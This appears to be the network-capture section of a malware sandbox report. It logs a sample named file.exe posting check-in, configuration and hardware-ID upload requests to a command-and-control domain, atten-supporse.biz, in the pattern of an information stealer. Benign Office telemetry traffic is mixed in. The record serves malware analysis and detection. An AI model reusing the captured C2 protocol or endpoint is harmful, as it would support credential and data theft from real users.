Dec 3, 2024 17:41:35.628674984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.628699064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.745480061 CET	1236	IN	Data Raw: 9b b6 40 04 67 74 86 b6 7c 54 1c 0e 5c 67 54 eb b6 04 72 df 81 93 38 00 35 69 99 db 2c 59 0d 15 26 82 6b d2 01 62 58 36 7f 78 c1 ef 48 6f 58 e5 81 84 8f d1 93 fb 84 c8 4a 94 a5 52 84 76 0f ca ba 85 6c a2 7d 94 a0 32 e4 61 36 52 84 76 0f 38 bb 89 Data Ascii: @gt\|T\gTr85i,Y&kbX6xHoXJRvl}2a6Rv8lRyzIm~S"'Zbo{s^+Mdp7=WIcAxAY\bhxs.cMQ{x9JqP=p{c8oBi2KNO{Qrbz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-03 16:41:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-03 16:41:03 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j2g2nkmunmprdsog6rbh2m1ua3; expires=Sat, 29-Mar-2025 10:27:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=41wZF%2Bu7KH0%2FEEH9ZbdK34pyngfv6upNXMI%2BjCbWubTpAY6OeGlfzGF0Z0bo3S3jqQ8U7gHZmf6PrjOFBNg%2FLRBu8mlWhQRx3z4VByQy7rgSUBP%2BuAUs0f2XG%2BzcNZgX9R0keQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec500777d9d42ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1631&rtt_var=914&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1027445&cwnd=211&unsent_bytes=0&cid=b80cdaf5dab16652&ts=2675&x=0"
2024-12-03 16:41:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-03 16:41:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-03 16:41:05 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-03 16:41:07 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t2hdluh9bqg2gf6l428ee4f2qb; expires=Sat, 29-Mar-2025 10:27:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LEZ%2BNA9peoFf5rkoNZ0lAgMydnRKHjefVS7z6zj%2F23rq5PNYQLzmqFJiJ5hLAobHHOCU4xyXUVY9w9N60NGszdZgl2rsZIJrgG6CduU%2F%2B9i3CQBBHcOU1p0CXumxwJa6WjxW3v8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec50090eb69437f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6729&min_rtt=1771&rtt_var=3779&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1648785&cwnd=78&unsent_bytes=0&cid=62a0b523c165881e&ts=2546&x=0"
2024-12-03 16:41:07 UTC	351	IN	Data Raw: 33 65 64 34 0d 0a 78 38 59 57 2f 37 39 45 46 37 43 68 46 35 48 68 75 72 53 6b 67 77 77 2f 6b 6c 52 4d 56 49 6c 61 7a 53 5a 2f 65 49 66 46 6b 4b 36 38 35 47 44 64 68 58 41 37 6b 74 4a 79 73 39 76 4f 78 74 48 6d 49 42 33 7a 4d 47 35 75 37 7a 75 68 56 52 70 55 70 62 50 39 6a 50 32 67 64 35 50 4d 49 54 75 53 78 47 2b 7a 32 2b 48 50 68 75 5a 69 48 61 68 32 4b 54 37 72 4f 36 46 45 48 68 50 6f 74 66 7a 4e 72 36 70 78 6c 39 6f 6e 63 39 48 4e 65 76 53 45 33 39 58 4f 37 57 56 53 2b 6a 6c 75 65 4b 73 2f 74 77 52 46 57 73 71 67 35 4d 2b 4b 70 32 57 55 6e 54 6b 37 79 34 4e 79 2f 38 4f 41 6c 73 58 6d 62 6c 50 30 4d 43 63 38 34 54 4b 70 52 52 73 53 39 36 7a 32 78 71 2b 6b 63 70 62 51 4c 6d 66 63 78 33 33 2f 67 74 58 56 68 71 38 75 57 75 68 32 64 6e 61 34 43 71 78 56 44 Data Ascii: 3ed4x8YW/79EF7ChF5HhurSkgww/klRMVIlazSZ/eIfFkK685GDdhXA7ktJys9vOxtHmIB3zMG5u7zuhVRpUpbP9jP2gd5PMITuSxG+z2+HPhuZiHah2KT7rO6FEHhPotfzNr6pxl9onc9HNevSE39XO7WVS+jlueKs/twRFWsqg5M+Kp2WUnTk7y4Ny/8OAlsXmblP0MCc84TKpRRsS96z2xq+kcpbQLmfcx33/gtXVhq8uWuh2dna4CqxVD
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 70 50 63 4b 33 58 41 79 33 37 34 68 73 72 64 7a 2b 78 6a 58 66 30 38 49 54 58 72 50 36 56 4f 45 68 44 68 71 76 2f 4b 70 61 51 30 30 35 30 68 62 5a 4b 62 4e 64 43 47 79 4e 48 4b 39 79 78 6e 73 43 6c 67 4c 36 73 2f 6f 77 52 46 57 75 32 69 38 63 2b 75 71 33 65 56 31 6a 52 31 77 4d 56 34 39 70 48 65 30 38 6a 72 62 55 2f 36 4f 43 67 31 34 6a 4f 6d 51 52 6f 65 70 65 6d 79 79 37 33 6b 4c 4e 33 38 4b 33 37 65 79 57 4c 7a 77 38 65 59 33 36 46 70 55 62 42 75 62 6a 4c 71 50 4b 35 41 45 78 54 68 71 2f 54 43 71 4b 74 79 6c 39 30 68 66 39 72 4c 64 50 36 49 31 39 62 44 37 47 70 62 2f 44 63 72 64 71 56 34 71 46 78 64 51 71 57 4a 39 63 2b 33 35 6b 47 65 30 79 68 79 78 49 4e 71 76 5a 71 59 30 63 71 68 4e 68 33 2b 4d 79 45 6b 36 69 71 71 53 67 38 57 34 4b 48 2f 7a 36 75 6b Data Ascii: pPcK3XAy374hsrdz+xjXf08ITXrP6VOEhDhqv/KpaQ0050hbZKbNdCGyNHK9yxnsClgL6s/owRFWu2i8c+uq3eV1jR1wMV49pHe08jrbU/6OCg14jOmQRoepemyy73kLN38K37eyWLzw8eY36FpUbBubjLqPK5AExThq/TCqKtyl90hf9rLdP6I19bD7Gpb/DcrdqV4qFxdQqWJ9c+35kGe0yhyxINqvZqY0cqhNh3+MyEk6iqqSg8W4KH/z6uk
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 68 79 78 49 4e 71 76 5a 71 59 30 63 71 68 4e 68 33 38 50 79 34 39 34 54 79 76 51 78 41 66 35 71 44 78 77 61 4b 75 65 70 72 5a 4b 6e 7a 66 78 58 58 30 68 39 33 45 77 2b 68 69 55 62 42 34 62 6a 48 7a 65 50 63 45 4d 68 33 7a 70 4e 33 50 74 4b 30 30 67 70 4d 2f 4e 64 58 50 4e 61 76 44 33 39 50 4f 36 6d 68 56 38 43 51 72 4f 4f 41 35 70 55 49 63 46 2b 6d 68 38 73 32 6c 6f 6e 69 64 32 69 46 6e 77 4d 5a 7a 34 59 6d 59 6d 49 62 6d 64 68 32 6f 64 68 67 6d 2f 43 6d 35 42 69 67 5a 36 36 6e 31 32 75 57 37 4f 6f 53 64 49 58 6d 53 6d 7a 58 34 67 39 54 52 7a 75 64 71 56 66 38 35 4a 79 54 71 4e 4b 46 57 47 68 72 73 71 66 33 41 72 4b 6c 7a 6b 4e 59 73 65 4e 62 45 64 4c 50 4e 6d 4e 48 65 6f 54 59 64 78 69 59 6a 4f 73 55 7a 6f 30 31 64 42 61 75 2b 73 73 75 70 35 43 7a 64 32 Data Ascii: hyxINqvZqY0cqhNh38Py494TyvQxAf5qDxwaKueprZKnzfxXX0h93Ew+hiUbB4bjHzePcEMh3zpN3PtK00gpM/NdXPNavD39PO6mhV8CQrOOA5pUIcF+mh8s2lonid2iFnwMZz4YmYmIbmdh2odhgm/Cm5BigZ66n12uW7OoSdIXmSmzX4g9TRzudqVf85JyTqNKFWGhrsqf3ArKlzkNYseNbEdLPNmNHeoTYdxiYjOsUzo01dBau+ssup5Czd2
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 43 63 66 61 47 33 4e 48 43 35 32 45 64 76 6e 59 70 4c 71 74 67 37 32 73 36 4c 36 65 47 79 49 79 36 36 6d 33 64 32 69 6f 31 69 6f 4e 35 38 49 2f 51 32 63 44 6f 59 6c 66 35 50 53 49 39 37 7a 53 6d 51 52 73 62 34 4b 4c 7a 79 4b 6d 75 63 70 37 65 4b 58 72 64 79 7a 57 39 77 39 2f 4f 68 72 6b 75 65 4f 63 39 49 44 43 72 4a 2b 46 64 58 52 33 70 35 36 71 4d 71 61 31 79 6d 39 67 71 64 4e 54 4c 63 50 75 48 32 64 44 41 34 6d 46 5a 39 54 63 68 4d 75 63 32 70 55 55 63 46 75 36 6f 2b 63 6e 6c 36 6a 53 61 78 57 59 74 6b 76 4a 32 35 5a 54 49 32 6f 62 2b 49 45 53 77 4d 53 4a 32 73 33 69 75 56 68 63 51 36 36 4c 39 79 61 61 72 63 35 44 62 4b 6e 2f 62 79 33 50 38 69 73 72 56 79 75 39 70 55 2f 77 34 49 7a 7a 6f 4e 65 38 4b 58 52 33 39 35 36 71 4d 69 61 4e 35 73 39 59 71 63 70 Data Ascii: CcfaG3NHC52EdvnYpLqtg72s6L6eGyIy66m3d2io1ioN58I/Q2cDoYlf5PSI97zSmQRsb4KLzyKmucp7eKXrdyzW9w9/OhrkueOc9IDCrJ+FdXR3p56qMqa1ym9gqdNTLcPuH2dDA4mFZ9TchMuc2pUUcFu6o+cnl6jSaxWYtkvJ25ZTI2ob+IESwMSJ2s3iuVhcQ66L9yaarc5DbKn/by3P8isrVyu9pU/w4IzzoNe8KXR3956qMiaN5s9Yqcp
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 77 35 61 57 77 66 6b 75 42 62 41 41 4b 53 62 37 4f 2b 31 31 43 78 6e 7a 72 50 2f 41 35 62 73 36 68 4a 30 68 65 5a 4b 62 4e 66 57 4d 30 64 58 4a 34 47 64 52 2f 54 4d 6e 4d 2b 6f 2b 71 30 34 58 47 75 4f 68 38 38 6d 76 70 33 57 58 31 43 46 39 31 63 42 6e 73 38 32 59 30 64 36 68 4e 68 33 5a 4d 54 77 34 2b 33 69 77 43 67 52 61 34 71 75 79 6c 4f 57 67 66 70 4c 5a 49 58 6e 55 78 6e 50 2b 67 74 66 58 78 75 35 71 56 76 6b 77 4c 7a 76 75 4e 61 74 57 46 78 48 71 71 2f 76 41 71 4f 51 36 33 64 6f 2b 4e 59 71 44 52 50 36 4e 31 74 48 51 6f 58 45 54 36 58 59 70 4f 71 74 67 37 30 55 52 46 65 61 6f 38 63 2b 6b 72 6d 61 50 30 53 39 39 31 38 39 2b 2f 59 58 4b 30 4d 6e 6f 62 56 37 35 4d 53 59 36 34 54 75 6f 42 46 4e 61 34 72 2b 79 6c 4f 57 48 59 34 33 51 5a 6d 71 63 32 6a 58 Data Ascii: w5aWwfkuBbAAKSb7O+11CxnzrP/A5bs6hJ0heZKbNfWM0dXJ4GdR/TMnM+o+q04XGuOh88mvp3WX1CF91cBns82Y0d6hNh3ZMTw4+3iwCgRa4quylOWgfpLZIXnUxnP+gtfXxu5qVvkwLzvuNatWFxHqq/vAqOQ63do+NYqDRP6N1tHQoXET6XYpOqtg70URFeao8c+krmaP0S99189+/YXK0MnobV75MSY64TuoBFNa4r+ylOWHY43QZmqc2jX
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 63 44 76 66 46 6a 32 4f 53 45 2f 34 6a 79 6e 52 78 30 65 34 61 44 33 7a 36 6d 76 63 35 37 53 49 6e 7a 63 79 6e 71 7a 7a 5a 6a 52 33 71 45 32 48 64 45 74 4c 54 72 6d 65 4c 41 4b 42 46 72 69 71 37 4b 55 35 61 68 36 6d 4e 30 73 63 39 62 47 63 2f 6d 47 32 4e 33 46 37 6d 70 62 39 44 6b 75 50 65 49 35 71 55 45 58 45 65 4f 71 38 63 71 6a 35 44 72 64 32 6a 34 31 69 6f 4e 56 36 49 37 55 30 59 62 2b 49 45 53 77 4d 53 4a 32 73 33 69 6b 53 42 6b 64 35 61 72 78 78 4b 43 67 66 70 6a 64 4c 6d 66 61 77 33 4c 68 6b 64 6a 66 77 2b 31 74 58 66 51 77 4a 7a 44 6f 50 4f 38 4b 58 52 33 39 35 36 71 4d 69 4b 68 7a 74 4e 6f 39 4e 63 32 4e 62 4c 4f 45 31 4a 61 65 6f 57 39 57 2b 6a 6b 6a 4e 65 30 37 70 45 45 58 47 2b 4b 76 2f 39 36 6d 71 33 75 5a 33 53 6c 7a 31 4d 4a 36 39 59 54 52 Data Ascii: cDvfFj2OSE/4jynRx0e4aD3z6mvc57SInzcynqzzZjR3qE2HdEtLTrmeLAKBFriq7KU5ah6mN0sc9bGc/mG2N3F7mpb9DkuPeI5qUEXEeOq8cqj5Drd2j41ioNV6I7U0Yb+IESwMSJ2s3ikSBkd5arxxKCgfpjdLmfaw3Lhkdjfw+1tXfQwJzDoPO8KXR3956qMiKhztNo9Nc2NbLOE1JaeoW9W+jkjNe07pEEXG+Kv/96mq3uZ3Slz1MJ69YTR
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 30 61 7a 67 67 4a 49 4f 45 2f 76 30 4d 4b 46 61 58 70 73 73 50 6c 2f 45 33 64 31 43 46 75 77 39 56 34 34 34 53 59 36 59 69 68 64 68 32 6f 64 68 73 31 35 54 61 6f 55 67 78 58 77 72 48 34 79 37 57 6a 59 35 4b 64 61 44 58 55 67 79 32 67 7a 5a 6a 53 31 36 45 32 44 61 4a 74 65 32 57 38 61 50 31 62 55 77 4f 6c 73 62 4b 55 39 2b 6f 30 6a 35 31 2b 4e 5a 58 41 5a 2b 47 46 32 38 44 46 70 6c 42 6a 31 79 77 6a 4d 50 77 70 6b 58 6f 61 41 4f 69 68 35 64 33 70 73 58 65 54 30 79 46 6a 6b 6f 30 31 2f 4d 4f 41 37 34 61 70 4c 6d 4b 2b 64 6a 5a 32 73 33 69 61 52 78 4d 55 34 72 48 6a 67 59 4b 2b 65 5a 76 4b 4e 7a 57 63 67 33 4f 7a 32 34 69 59 68 75 56 2f 48 61 68 6d 66 47 32 2b 61 2f 67 55 54 77 57 72 76 72 4c 61 35 66 77 6d 30 35 30 30 4e 59 71 44 4d 76 43 52 79 74 44 46 39 Data Ascii: 0azggJIOE/v0MKFaXpssPl/E3d1CFuw9V444SY6Yihdh2odhs15TaoUgxXwrH4y7WjY5KdaDXUgy2gzZjS16E2DaJte2W8aP1bUwOlsbKU9+o0j51+NZXAZ+GF28DFplBj1ywjMPwpkXoaAOih5d3psXeT0yFjko01/MOA74apLmK+djZ2s3iaRxMU4rHjgYK+eZvKNzWcg3Oz24iYhuV/HahmfG2+a/gUTwWrvrLa5fwm0500NYqDMvCRytDF9
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 75 62 6d 36 72 44 61 78 4b 45 78 33 7a 74 72 2f 72 71 36 4e 31 69 38 30 78 65 70 4b 4e 4e 66 58 44 67 49 53 49 6f 57 70 4d 73 47 35 2b 5a 4c 42 74 2f 42 4e 4e 53 50 72 70 36 34 79 7a 35 43 7a 50 6b 32 5a 6e 6b 70 73 31 74 49 44 4b 78 4d 44 69 65 46 36 33 43 42 41 52 35 54 2b 75 55 67 30 4e 36 75 6a 63 2b 6f 53 61 53 6f 6a 65 4b 48 76 56 31 57 53 7a 7a 5a 6a 5a 68 72 6c 58 48 62 68 32 45 58 69 72 49 4f 38 63 58 53 2f 6d 71 66 7a 4c 73 37 55 35 75 74 4d 68 64 4d 54 54 59 76 7a 4d 39 75 44 6e 6f 53 41 64 39 6e 5a 32 5a 4b 56 34 71 31 56 64 51 72 58 31 71 5a 6e 32 38 79 54 50 77 6d 68 73 6b 74 55 31 71 39 47 57 6c 74 53 68 4e 68 32 33 4e 54 77 6b 37 54 75 35 52 31 6f 6b 32 34 44 38 79 36 53 79 5a 4a 44 52 42 33 62 44 79 55 76 4e 6c 74 76 59 79 4f 5a 34 54 4c Data Ascii: ubm6rDaxKEx3ztr/rq6N1i80xepKNNfXDgISIoWpMsG5+ZLBt/BNNSPrp64yz5CzPk2Znkps1tIDKxMDieF63CBAR5T+uUg0N6ujc+oSaSojeKHvV1WSzzZjZhrlXHbh2EXirIO8cXS/mqfzLs7U5utMhdMTTYvzM9uDnoSAd9nZ2ZKV4q1VdQrX1qZn28yTPwmhsktU1q9GWltShNh23NTwk7Tu5R1ok24D8y6SyZJDRB3bDyUvNltvYyOZ4TL
2024-12-03 16:41:07 UTC	1369	IN	Data Raw: 36 43 71 39 51 68 34 4d 35 75 44 4d 38 6f 69 32 63 34 33 65 5a 45 54 66 78 32 50 6d 67 4d 6a 52 2b 4e 39 44 54 2f 63 6d 4c 58 54 48 50 36 4a 49 49 79 54 53 74 76 58 63 35 34 4a 33 69 39 35 6d 4f 35 4c 62 4e 61 76 44 39 63 54 42 38 57 30 66 33 44 45 6a 4f 71 73 6e 34 56 31 64 44 4b 58 2f 6f 59 4c 6c 74 6a 54 46 6e 57 46 32 77 4e 46 7a 38 4a 58 62 6b 66 6a 66 51 30 2f 33 4a 69 31 30 32 6a 57 72 55 67 67 5a 39 61 44 4d 38 6f 69 32 63 34 33 65 5a 46 44 6f 67 55 54 6c 67 4e 6a 59 77 61 45 67 48 65 68 32 64 6e 62 47 4b 71 68 55 48 6c 6a 41 6e 62 44 39 73 36 64 30 6b 39 70 6d 4f 35 4c 50 4e 61 76 44 31 63 54 42 38 57 30 52 39 79 77 70 64 76 52 32 74 67 51 4c 57 72 33 30 76 49 79 33 35 43 7a 64 6d 69 68 34 30 38 42 37 38 4a 48 4b 30 4d 58 33 62 52 72 4f 43 41 45 Data Ascii: 6Cq9Qh4M5uDM8oi2c43eZETfx2PmgMjR+N9DT/cmLXTHP6JIIyTStvXc54J3i95mO5LbNavD9cTB8W0f3DEjOqsn4V1dDKX/oYLltjTFnWF2wNFz8JXbkfjfQ0/3Ji102jWrUggZ9aDM8oi2c43eZFDogUTlgNjYwaEgHeh2dnbGKqhUHljAnbD9s6d0k9pmO5LPNavD1cTB8W0R9ywpdvR2tgQLWr30vIy35Czdmih408B78JHK0MX3bRrOCAE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:09 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=443FB4Q7G62 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12808 Host: atten-supporse.biz
2024-12-03 16:41:09 UTC	12808	OUT	Data Raw: 2d 2d 34 34 33 46 42 34 51 37 47 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 34 34 33 46 42 34 51 37 47 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 34 33 46 42 34 51 37 47 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 34 33 46 42 34 51 37 47 36 32 Data Ascii: --443FB4Q7G62Content-Disposition: form-data; name="hwid"49808FE72535874858D6DA241434FD08--443FB4Q7G62Content-Disposition: form-data; name="pid"2--443FB4Q7G62Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--443FB4Q7G62
2024-12-03 16:41:12 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkv0tq7dq87ph6h1tmn249lavc; expires=Sat, 29-Mar-2025 10:27:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zfiUg02ByyGvkYMFDNeiD5aVVinUVnsyBynAjWWrcVwXuCljo%2F4Eephh6xtZWmSX9fdAktwbFQPF7y5lwGQx3yknzWO1KLT59FzDz3erDC0VG6lU0cOE2zUlF2RGyxhASnQpYFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec500aa1add8cc5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1785&rtt_var=696&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13743&delivery_rate=1543340&cwnd=243&unsent_bytes=0&cid=623bf31d61a659cc&ts=2797&x=0"
2024-12-03 16:41:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-03 16:41:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:09 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:09 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 02 Dec 2024 13:20:33 GMT ETag: "0x8DD12D41A424BC1" x-ms-request-id: 300ecd5c-a01e-0050-4036-45db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164109Z-174f7845968pf68xhC1EWRr4h800000016g0000000006pcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:09 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-03 16:41:10 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 